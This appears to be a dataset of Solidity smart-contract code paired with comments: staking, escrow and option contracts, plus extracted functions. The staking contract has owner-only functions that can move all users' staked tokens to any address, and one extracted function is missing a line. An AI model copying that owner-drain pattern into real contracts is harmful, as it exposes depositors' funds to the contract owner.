uint DAOProfit_ = FixedPoint.fraction( profit_, DAOShare ).decode();
IERC20( OHM ).safeTransfer( stakingContract, profit_.sub( DAOProfit_ ) );
IERC20( OHM ).safeTransfer( DAOWallet, DAOProfit_ );
depositorInfo[ depositor_ ] = DepositInfo({
value: depositorInfo[ depositor_ ].value.add( value_ ),
payoutRemaining: depositorInfo[ depositor_ ].payoutRemaining.add( payout_ ),
lastBlock: block.number,
vestingPeriod: vestingPeriodInBlocks
});
return true;
}
@return bool
| 3,192,250 |
./full_match/137/0xE1e46C14F9E400e928b0ead380B98a9309a2307B/sources/contracts/stability-pool-base.sol
|
transfers BONQ amount to the user
|
function _sendBONQRewardsToDepositor(uint256 _bonqGain) internal {
bonqToken.transfer(msg.sender, _bonqGain);
}
| 4,684,716 |
//Be name KHODA
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: browser/Staking.sol
//Be name khoda
pragma solidity ^0.6.12;
interface StakedToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface RewardToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract Staking is Ownable {
struct User {
uint256 depositAmount;
uint256 paidReward;
}
using SafeMath for uint256;
mapping (address => User) public users;
uint256 public rewardTillNowPerToken = 0;
uint256 public lastUpdatedBlock;
uint256 public rewardPerBlock;
uint256 public scale = 1e18;
uint256 public particleCollector = 0;
uint256 public daoShare;
uint256 public earlyFoundersShare;
address public daoWallet;
address public earlyFoundersWallet;
StakedToken public stakedToken;
RewardToken public rewardToken;
event Deposit(address user, uint256 amount);
event Withdraw(address user, uint256 amount);
event EmergencyWithdraw(address user, uint256 amount);
event RewardClaimed(address user, uint256 amount);
event RewardPerBlockChanged(uint256 oldValue, uint256 newValue);
constructor (address _stakedToken, address _rewardToken, uint256 _rewardPerBlock, uint256 _daoShare, uint256 _earlyFoundersShare) public {
stakedToken = StakedToken(_stakedToken);
rewardToken = RewardToken(_rewardToken);
rewardPerBlock = _rewardPerBlock;
daoShare = _daoShare;
earlyFoundersShare = _earlyFoundersShare;
lastUpdatedBlock = block.number;
daoWallet = msg.sender;
earlyFoundersWallet = msg.sender;
}
function setWallets(address _daoWallet, address _earlyFoundersWallet) public onlyOwner {
daoWallet = _daoWallet;
earlyFoundersWallet = _earlyFoundersWallet;
}
function setShares(uint256 _daoShare, uint256 _earlyFoundersShare) public onlyOwner {
withdrawParticleCollector();
daoShare = _daoShare;
earlyFoundersShare = _earlyFoundersShare;
}
function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {
update();
rewardPerBlock = _rewardPerBlock;
emit RewardPerBlockChanged(rewardPerBlock, _rewardPerBlock);
}
// Update reward variables of the pool to be up-to-date.
function update() public {
if (block.number <= lastUpdatedBlock) {
return;
}
uint256 totalStakedToken = stakedToken.balanceOf(address(this));
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
rewardTillNowPerToken = rewardTillNowPerToken.add(rewardAmount.mul(scale).div(totalStakedToken));
lastUpdatedBlock = block.number;
}
// View function to see pending reward on frontend.
function pendingReward(address _user) external view returns (uint256) {
User storage user = users[_user];
uint256 accRewardPerToken = rewardTillNowPerToken;
if (block.number > lastUpdatedBlock) {
uint256 totalStakedToken = stakedToken.balanceOf(address(this));
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
accRewardPerToken = accRewardPerToken.add(rewardAmount.mul(scale).div(totalStakedToken));
}
return user.depositAmount.mul(accRewardPerToken).div(scale).sub(user.paidReward);
}
function deposit(uint256 amount) public {
User storage user = users[msg.sender];
update();
if (user.depositAmount > 0) {
uint256 _pendingReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale).sub(user.paidReward);
rewardToken.transfer(msg.sender, _pendingReward);
emit RewardClaimed(msg.sender, _pendingReward);
}
user.depositAmount = user.depositAmount.add(amount);
user.paidReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale);
stakedToken.transferFrom(address(msg.sender), address(this), amount);
emit Deposit(msg.sender, amount);
}
function withdraw(uint256 amount) public {
User storage user = users[msg.sender];
require(user.depositAmount >= amount, "withdraw amount exceeds deposited amount");
update();
uint256 _pendingReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale).sub(user.paidReward);
rewardToken.transfer(msg.sender, _pendingReward);
emit RewardClaimed(msg.sender, _pendingReward);
uint256 particleCollectorShare = _pendingReward.mul(daoShare.add(earlyFoundersShare)).div(scale);
particleCollector = particleCollector.add(particleCollectorShare);
if (amount > 0) {
user.depositAmount = user.depositAmount.sub(amount);
stakedToken.transfer(address(msg.sender), amount);
emit Withdraw(msg.sender, amount);
}
user.paidReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale);
}
function withdrawParticleCollector() public {
uint256 _daoShare = particleCollector.mul(daoShare).div(daoShare.add(earlyFoundersShare));
rewardToken.transfer(daoWallet, _daoShare);
uint256 _earlyFoundersShare = particleCollector.mul(earlyFoundersShare).div(daoShare.add(earlyFoundersShare));
rewardToken.transfer(earlyFoundersWallet, _earlyFoundersShare);
particleCollector = 0;
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public {
User storage user = users[msg.sender];
stakedToken.transfer(msg.sender, user.depositAmount);
emit EmergencyWithdraw(msg.sender, user.depositAmount);
user.depositAmount = 0;
user.paidReward = 0;
}
// Add temporary withdrawal functionality for owner(DAO) to transfer all tokens to a safe place.
// Contract ownership will transfer to address(0x) after full auditing of codes.
function withdrawAllRewardTokens(address to) public onlyOwner {
uint256 totalRewardTokens = rewardToken.balanceOf(address(this));
rewardToken.transfer(to, totalRewardTokens);
}
// Add temporary withdrawal functionality for owner(DAO) to transfer all tokens to a safe place.
// Contract ownership will transfer to address(0x) after full auditing of codes.
function withdrawAllStakedtokens(address to) public onlyOwner {
uint256 totalStakedTokens = stakedToken.balanceOf(address(this));
stakedToken.transfer(to, totalStakedTokens);
}
}
//Dar panah khoda
|
Add temporary withdrawal functionality for owner(DAO) to transfer all tokens to a safe place. Contract ownership will transfer to address(0x) after full auditing of codes.
|
function withdrawAllRewardTokens(address to) public onlyOwner {
uint256 totalRewardTokens = rewardToken.balanceOf(address(this));
rewardToken.transfer(to, totalRewardTokens);
}
| 1,116,019 |
//Version5_20190509
pragma solidity ^0.5.0;
contract ChickenStore {
//Store Management
uint public numberOfSeller = 0;
mapping(address => chicken) store;
mapping(uint => address) account;
mapping(address => information) accountInformation;
struct chicken {
address seller;
string name;
string imageLink;
string service;
uint price;
}
struct information {
bool register;
bool tradable;
address buyer;
bool buyerSuccess;
bool sellerSuccess;
}
function paymentInitialize(address addr) internal {
accountInformation[addr].buyer = address(0);
accountInformation[addr].buyerSuccess = false;
accountInformation[addr].sellerSuccess = false;
}
function launch(string memory _name, string memory _imageLink, string memory _service, uint _price) public {
//Register(Record) automatically
if(accountInformation[msg.sender].register == false ) {
numberOfSeller++;
account[numberOfSeller] = msg.sender;
accountInformation[msg.sender].register = true;
}
//launch
chicken memory _newChicken = chicken(msg.sender, _name, _imageLink, _service, _price);
store[msg.sender] = _newChicken;
accountInformation[msg.sender].tradable = true;
}
function getChickenInformation(uint num) public view returns (bool, address, string memory, string memory, string memory, uint) {
address addr = account[num];
bool _tradable = accountInformation[addr].tradable;
chicken memory _chicken = store[addr];
return (_tradable, _chicken.seller, _chicken.name, _chicken.imageLink, _chicken.service, _chicken.price);
}
function buyChicken(address payable addr) public payable {
require(msg.sender != addr);
require(msg.value >= store[addr].price*(10**18));
require(accountInformation[addr].tradable == true);
accountInformation[addr].buyer = msg.sender;
accountInformation[addr].tradable = false;
}
function getRequest() public view returns (address) {
require(accountInformation[msg.sender].register == true, "You are not seller!");
require(accountInformation[msg.sender].buyer != address(0), "No new case.");
return accountInformation[msg.sender].buyer;
}
function transactionSuccess(address payable addr) public {
require(msg.sender == accountInformation[addr].buyer || accountInformation[msg.sender].buyer == addr);
if(msg.sender == accountInformation[addr].buyer) {
accountInformation[addr].buyerSuccess = true;
if(accountInformation[addr].sellerSuccess == true) {
addr.transfer(store[addr].price*(10**18));
paymentInitialize(addr);
}
}
if(accountInformation[msg.sender].buyer == addr) {
accountInformation[msg.sender].sellerSuccess = true;
if(accountInformation[msg.sender].buyerSuccess == true) {
msg.sender.transfer(store[msg.sender].price*(10**18));
paymentInitialize(msg.sender);
}
}
}
function transactionFail(address payable addr) public {
require(msg.sender == accountInformation[addr].buyer || accountInformation[msg.sender].buyer == addr);
if(msg.sender == accountInformation[addr].buyer) {
msg.sender.transfer(store[addr].price*(10**18));
paymentInitialize(addr);
}
if(accountInformation[msg.sender].buyer == addr) {
addr.transfer(store[msg.sender].price*(10**18));
paymentInitialize(msg.sender);
}
}
}
|
Register(Record) automatically
|
function launch(string memory _name, string memory _imageLink, string memory _service, uint _price) public {
if(accountInformation[msg.sender].register == false ) {
numberOfSeller++;
account[numberOfSeller] = msg.sender;
accountInformation[msg.sender].register = true;
}
store[msg.sender] = _newChicken;
accountInformation[msg.sender].tradable = true;
}
| 5,410,387 |
pragma solidity ^0.6.8;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
function transfer(address dst, uint256 amount) external returns (bool success);
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/*
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
contract CallOption {
using SafeMath for uint256;
using Strings for uint256;
using Address for address;
struct PremiumInfo {
address premiumToken;
uint premiumAmt;
bool premiumRedeemed;
uint premiumPlatformFee;
uint sellerPremium;
}
struct UnderlyingInfo {
address underlyingCurrency;
uint underlyingAmt;
bool redeemed;
bool isCall;
}
struct Option {
// Proposal high level
uint proposalExpiresAt;
address seller;
address buyer;
// Proposal premium
PremiumInfo premiumInfo;
// Underlying
UnderlyingInfo underlyingInfo;
// Strike price
address strikeCurrency;
uint strikeAmt;
// Acceptance state
bool sellerAccepted;
bool buyerAccepted;
// Option
uint optionExpiresAt;
bool cancelled;
bool executed;
}
event UnderlyingDeposited(uint indexed optionUID, address seller, address token, uint amount);
event PremiumDeposited(uint indexed optionUID, address buyer, address token, uint amount);
event SellerAccepted(uint indexed optionUID, address seller);
event BuyerAccepted(uint indexed optionUID, address buyer);
event BuyerCancelled(uint indexed optionUID, address buyer);
event SellerCancelled(uint indexed optionUID, address seller);
event BuyerPremiumRefunded(uint indexed optionUID, address buyer);
event SellerUnderlyingRedeemed(uint indexed optionUID, address seller);
event SellerRedeemedPremium(uint indexed optionUID, address seller);
event TransferSeller(uint indexed optionUID, address oldSeller, address newSeller);
event OptionExecuted(uint indexed optionUID);
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
// Maps user to the IDS of their associated options
mapping(address => uint[]) public userOptions;
// Stores the state of all the options
Option[] public options;
// Fee taken out of the premiums collected
uint public platformFee = 5; // 0.005
// Address which collected fees are directed to
address public feeBeneficiaryAddress;
// Fees that are withdrawable
mapping(address => uint) public platformFeeBalances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
string public constant symbol = "OPTION-SWAP";
string public constant name = "ERC-20 Option (OptionSwap.finance)";
address public admin;
constructor() public {
admin = msg.sender;
}
/**
* @notice Propose a new option with the following criteria
*/
function propose(address seller, address buyer, uint proposalExpiresAt, uint optionExpiresAt,
address premiumToken, uint premiumAmt,
address underlyingCurrency, uint underlyingAmt,
address strikeCurrency, uint strikeAmt, bool isCall) public {
require((seller == msg.sender) || (buyer == msg.sender), "Must be either the seller or buyer");
require(proposalExpiresAt <= optionExpiresAt, "Option cannot expire before proposal");
// Compute the seller premium to be earned and associated platform fee from the premium
(uint sellerPremium, uint platformFeePremium) = _computePremiumSplit(premiumAmt, EIP20Interface(premiumToken).decimals());
// Add the option to list of options
options.push(Option(
{
seller: seller,
buyer: buyer,
proposalExpiresAt: proposalExpiresAt,
premiumInfo: PremiumInfo({
premiumToken: premiumToken,
premiumAmt: premiumAmt,
premiumRedeemed: false,
premiumPlatformFee: platformFeePremium,
sellerPremium: sellerPremium}),
underlyingInfo: UnderlyingInfo({
underlyingCurrency: underlyingCurrency,
underlyingAmt: underlyingAmt,
isCall: isCall,
redeemed: false }),
strikeCurrency: strikeCurrency,
strikeAmt: strikeAmt,
optionExpiresAt: optionExpiresAt,
cancelled: false,
executed: false,
sellerAccepted: false,
buyerAccepted: false
}));
// If sender is the seller, transfer underlying and update tracking state
if (msg.sender == seller) {
_acceptSeller(options.length - 1);
}
// If sender is the buyer, transfer premium and update tracking state
if (msg.sender == buyer) {
_acceptBuyer(options.length - 1);
}
}
/**
* @notice Compute how much of the premium goes to the seller and how much to the platform
*/
function _computePremiumSplit(uint premium, uint decimals) public view returns(uint, uint) {
require(decimals <= 78, "_computePremiumSplit(): too many decimals will overflow");
require(decimals >= 3, "_computePremiumSplit(): too few decimals will underflow");
uint platformFeeDoubleScaled = premium.mul(platformFee * (10 ** (decimals - 3)));
uint platformFeeCollected = platformFeeDoubleScaled.div(10 ** (decimals));
uint redeemable = premium.sub(platformFeeCollected);
return (redeemable, platformFeeCollected);
}
/**
* @notice Allows Seller to redeem their premium after the option has been accepted by the buyer
*/
function redeemPremium(uint optionUID) public {
Option storage option = options[optionUID];
// Can only redeem premium once
